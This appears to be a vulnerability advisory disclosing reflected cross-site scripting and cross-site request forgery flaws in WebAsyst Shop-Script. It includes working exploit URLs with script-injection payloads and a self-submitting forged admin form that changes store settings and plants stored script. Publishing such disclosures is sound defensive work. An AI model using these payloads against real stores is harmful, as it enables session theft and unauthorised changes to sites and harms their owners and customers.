Multiple Vulnerabilities in WebAsyst Shop-Script

High-Tech Bridge SA Security Research Lab has discovered multiple vulnerabilities in WebAsyst Shop-Script which could be exploited to perform cross-site scripting and cross-site request forgery attacks.

1) Cross-site scripting (XSS) vulnerabilities in WebAsyst Shop-Script
1.1 The vulnerability exists due to input sanitation error in the "orderID_textbox", "login" and "first_ name" parameters in SC/html/scripts/index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation examples:
http://host/SC/html/scripts/index.php?did=21&order_search_type=SearchByOrder ID&orderID_textbox=1"><s cript>alert(document.cookie)</script>&search=Show
http://host/SC/html/scrip ts/index.php?did=22&login=1"><script>alert(document.cookie)</script>&first_ name=2"><script>alert(document.cookie)</script>&custgroupID=0&email=&last_na me=&ActState=-1&search=% D0%9D%D0%B0%D0%B9%D1%82%D0%B8&charset=cp1251&count_to_export=
1.2 The vulnerability exists due to input sanitation error in the "app" parameter in index.php. A remote attacker can send a specially crafted HTTP request to the vulnerable script and execute arbitrary HTML and script code in user`s browser in context of the vulnerable website.
Exploitation example:
http://host/?app=UG"><script>alert(document.cookie)</script>

2) Cross-site request forgery (CSRF) vulnerabilities in WebAsyst Shop-Script
The vulnerability exists due to insufficient validation of the request origin in SC/html/scripts/index.php. A remote attacker can create a specially crafted link, trick a logged-in administrator into following that link and change website settings. Due to insufficient sanitation of input data in the "settingCONF_SHOP_NAME_en" parameter it is also possible to store and execute arbitrary HTML and script code in user`s browser in context of vulnerable website.
Exploitation example:
<form action="http://host/SC/html/scripts/index.php?ukey=bsettings&settings_groupI D=2" method="post" name="main" enctype="multipart/form-data" >
<input type="hidden" name="uri" value="http://1" />
<input type="hidden" name="settingCONF_SHOP_NAME_ru" value='shopname"><script>alert(document.cookie)</script>'>
<input type="hidden" name="settingCONF_SHOP_NAME_en" value='shopname"><script>alert(document.cookie)</script>'>
<input type="hidden" name="settingCONF_SHOP_URL" value="test.webasyst.net/shop/">
<input type="hidden" name="settingCONF_GENERAL_EMAIL" value="test@example.com">
<input type="hidden" name="settingCONF_ORDERS_EMAIL" value="test@example.com">
<input type="hidden" name="settingCONF_ENABLE_CONFIRMATION_CODE" value="1">
<input type="hidden" name="setting_DATEFORMAT" value="DD.MM.YYYY">
<input type="hidden" name="setting_CONF_STOREFRONT_TIME_ZONE" value="51">
<input type="hidden" name="setting_CONF_FIRST_WEEKDAY" value="0">
<input type="hidden" name="settingCONF_DEFAULT_TITLE_ru" value="test">
<input type="hidden" name="settingCONF_DEFAULT_TITLE_en" value="test - Online Store">
<input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_ru" value="">
<input type="hidden" name="settingCONF_HOMEPAGE_META_KEYWORDS_en" value="">
<input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_ru" value="">
<input type="hidden" name="settingCONF_HOMEPAGE_META_DESCRIPTION_en" value="">
<input type="hidden" name="settingCONF_GOOGLE_MAPS_API_KEY" value="">
<input type="hidden" name="settingCONF_WAREHOUSE_ADDRESS" value="">
<input type="hidden" name="setting_CONF_PRINTFORM_COMPANY_LOGO" value="">
<input type="hidden" name="save" value="Save">
</form>
<script>
document.main.submit();
</script>